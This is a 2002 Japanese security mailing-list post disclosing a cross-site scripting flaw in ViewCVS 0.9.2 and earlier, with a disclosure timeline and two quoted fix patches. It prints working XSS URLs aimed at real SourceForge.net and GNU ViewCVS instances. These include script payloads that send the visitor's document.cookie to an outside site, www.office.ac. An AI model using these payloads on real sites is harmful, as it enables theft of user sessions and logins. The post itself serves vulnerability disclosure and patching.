[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[stalk:01264] ViewCVS のクロスサイトスクリプティング脆弱性



■オリックスVIPローンカード■【銀行, 郵便局,コンビニでご利用可能】 
─────┰─┰─┰─┰─┰─┰─┰─┰─┰─┰─┰─────────
比べて納得┃限┃度┃額┃最┃高┃3┃0┃0┃万┃円┃実質年率8.7〜12.6% 
─────┸─┸─┸─┸─┸─┸─┸─┸─┸─┸─┸───────── 
  http://bishop.va-cats.com/cgi-bin/vts/va0/ID=000715001179
----------------------------------------------------------------------


ViewCVSのクロスサイトスクリプティング脆弱性

ViewCVSのクロスサイトスクリプティング脆弱性について以下のとおり報告する。


対象
------------
プログラム名: ViewCVS
脆弱性のあるバージョン: 0.9.2 およびそれ以下
開発者達の URL: http://viewcvs.sourceforge.net/
開発者達の状況: 通知済み. かつ開発チーム内では既に対策済み。
                しかし現在のところ、何の発表、リリースもない。


緒言
------------
ViewCVS は CVS Repositories の Web インターフェースであり、フリーソフト
コミュニティやオープンソースコミュニティで広く用いられている。しかし、こ
のソフトウェアにはクロスサイトスクリプティング脆弱性が存在する。


脆弱性の発現
-----------------
次のような形式の URL でViewCVSの脆弱性が確認できる

http://target_site/cgi-bin/viewcvs.cgi/viewcvs/?cvsroot=<script>alert("hello")</script>
http://target_site/cgi-bin/viewcvs.cgi/viewcvs/viewcvs/?sortby=rev"><script>alert("hello")</script>

前者のURLは Windows XP の Internet Explorer 6.0, Opera 6.01 では有効だが、
Netscape 4.78, Netscape 6.2.2, および mozilla 0.9.9 では有効でない。脆弱
性のあるViewCVSに対してこれらの URL へのアクセスで起こることは、ポップアッ
プウィンドウの出現だけである。


URL 例
-----------------
ViewCVS の公式ページがある SourceForge.net で運用されている ViewCVS では
次のようなURLが可能である。

これらの URL にアクセスすると、閲覧者のブラウザの cookie に保存されてい
る SourceForge.net のログイン情報等が悪意のあるサイト(例では 
http://www.office.ac/ )に盗まれてしまう。

盗まれる Cookie の情報はブラウザによって異なり、Windows XP で検証した
ところ、Internet Explorer 6.0 では SourceForge.net のログイン名の他に
セッション情報が漏洩するようだ。 Opera 6.01 と mozilla 0.9.9 ではログ
イン名のみが漏洩し、Netscape 4.78 と 6.2.2 では、漏洩情報が確認できな
かった。この理由について筆者は一切何も検証していない。

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/viewcvs/?cvsroot=<script>alert("ALERT:%20Now,%20your%20cookie%20about%20sourceforge.net%20is%20stolen%20by%20www.office.ac");window.open('http://www.office.ac/j.cgi?'%2Bdocument.cookie);</script>
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/viewcvs/viewcvs/?sortby=rev"><script>alert("ALERT:%20Now,%20your%20cookie%20about%20sourceforge.net%20is%20stolen%20by%20www.office.ac");window.open('http://www.office.ac/j.cgi?'%2Bdocument.cookie);</script>

SourceForge.net の ViewCVS は最新バージョンではないが、最新バージョン
の ViewCVS の脆弱性は GNU のサイトで確認できる。

http://subversions.gnu.org/cgi-bin/viewcvs/?cvsroot=<script>alert("hello")</script>
http://subversions.gnu.org/cgi-bin/viewcvs/cvs-utils/CVSROOT/?sortby=rev"><script>alert("hello")</script>


開発者の状況
--------------
開発者には2002年3月13日および2002年3月26日に報告した。

また次のような状況であると聞き及んでいる。日本のハッカー達が4月上旬に 
ViewCVS チームにパッチを提供したが、開発者チームの「中では」既に4月1日
に修正が終了しているとのことで、パッチは受け入れられなかった模様である。
しかし、その後1ヶ月半経っているが、発表、リリースは何らなされていない。


修正パッチ
--------------
2種類のパッチがある。これらは、安全ではない通常のメールで入手したものな
ので、作成者の作った物そのものである保証はない。また、筆者はプログラムコー
ドを1行も理解することができないので、その内容について何の保証も、説明も
できない。


NIKKI System Project (http://www.h14m.org/) の Kenji Suzuki 氏
<kenji@xxxxxxxxxxxxxxxx> 作成のパッチ。このパッチはHyper NIKKI System 
Projectで使用されており、また SourceForge.jp でもこのパッチ、ないしはこの
パッチを元にしたものが使用されているとのことである。

--- viewcvs.py.orig	Fri Dec 14 23:14:39 2001
+++ viewcvs.py	Sun Mar 31 15:24:34 2002
@@ -172,7 +172,7 @@
     # parse the query params into a dictionary (and use defaults)
     query_dict = default_settings.copy()
     for name, values in cgi.parse().items():
-      query_dict[name] = values[0]
+      query_dict[name] = cgi.escape(values[0])
 
     # set up query strings, prefixed by question marks and ampersands
     query = sticky_query(query_dict)



ViewCVS team のものとされているパッチ。このパッチは、SourceForge.jp 
(http://sourceforge.jp/) の Taku YASUI 氏より提供を受けた。Taku YASUI 氏
は ViewCVS team に上記パッチ(の改良版?)を ViewCVS team に提供した
人物である。


===================================================================
RCS file: /cvsroot/viewcvs/viewcvs/lib/viewcvs.py,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -r1.107 -r1.108
--- viewcvs/viewcvs/lib/viewcvs.py	2002/02/22 09:20:46	1.107
+++ viewcvs/viewcvs/lib/viewcvs.py	2002/04/01 01:32:16	1.108
@@ -180,8 +180,14 @@
 
     # parse the query params into a dictionary (and use defaults)
     query_dict = default_settings.copy()
+
+    # RE that ViewCVS doesn't use in any URL, but a CSS attack might
+    re_url_validate = re.compile('\'|"|<|>')
     for name, values in cgi.parse().items():
-      query_dict[name] = values[0]
+      # do not accept values that contain non-ViewCVS characters
+      # except for search
+      if not re.search(re_url_validate, values[0]) or name == 'search':
+        query_dict[name] = values[0]
 
     # set up query strings, prefixed by question marks and ampersands
     query = sticky_query(query_dict)


--
office
office@xxxxxxxx
office@xxxxxxxxx
http://www.office.ac/
--
- このメイリングリストに関する質問・問い合せ等は
- <security-talk@xxxxxxxxxx>までお知らせください
--
------------------------------------------------------------------------
          『被験者求む! 報奨金100万円。』
     http://www.infoseek.co.jp/Special?pg=es_if.html&svx=971122